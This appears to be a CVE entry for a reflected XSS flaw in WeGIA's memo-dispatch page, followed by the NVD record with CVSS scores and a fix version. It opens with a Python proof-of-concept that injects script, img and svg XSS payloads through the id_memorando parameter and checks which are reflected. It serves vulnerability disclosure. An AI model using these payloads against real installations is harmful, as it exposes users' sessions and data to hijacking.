CVE-2026-23722

import requests # CVE-2026-23722 PoC - Reflected XSS in WeGIA # Target URL with vulnerable parameter target_url = "http://target-server/html/memorando/insere_despacho.php" # Malicious payload for XSS xss_payload = '<script>alert(document.cookie)</script>' # Construct exploit URL params = { 'id_memorando': xss_payload } # Send request response = requests.get(target_url, params=params) # Check if payload is reflected without encoding if xss_payload in response.text: print('[+] XSS Payload reflected - Vulnerability confirmed!') print(f'[+] Vulnerable URL: {response.url}') else: print('[-] Payload not reflected or filtered') # Additional payloads for testing test_payloads = [ "<img src=x onerror=alert(1)>", "<svg/onload=alert(document.domain)>", "javascript:alert(document.cookie)" ] for payload in test_payloads: test_params = {'id_memorando': payload} resp = requests.get(target_url, params=test_params) if payload in resp.text: print(f'[+] Payload works: {payload}')

{"cve": {"id": "CVE-2026-23722", "sourceIdentifier": "[email protected]", "published": "2026-01-16T20:15:50.017", "lastModified": "2026-01-30T18:27:52.323", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WeGIA is a Web Manager for Charitable Institutions. Prior to 3.6.2, a Reflected Cross-Site Scripting (XSS) vulnerability was discovered in the WeGIA system, specifically within the html/memorando/insere_despacho.php file. The application fails to properly sanitize or encode user-supplied input via the id_memorando GET parameter before reflecting it into the HTML source (likely inside a <script> block or an attribute). This allows unauthenticated attackers to inject arbitrary JavaScript or HTML into the context of the user's browser session. This vulnerability is fixed in 3.6.2."}, {"lang": "es", "value": "WeGIA es un Gestor Web para Instituciones Benéficas. Antes de 3.6.2, se descubrió una vulnerabilidad de cross-site scripting (XSS) reflejado en el sistema WeGIA, específicamente dentro del archivo html/memorando/insere_despacho.PHP. La aplicación no logra sanear o codificar correctamente la entrada proporcionada por el usuario a través del parámetro GET id_memorando antes de reflejarla en el código fuente HTML (probablemente dentro de un bloque "}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wegia:wegia:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.6.2", "matchCriteriaId": "419B3A85-5754-4198-A73E-92A9DA8E7A68"}]}]}], "references": [{"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-g7hh-6qj7-mcqf", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}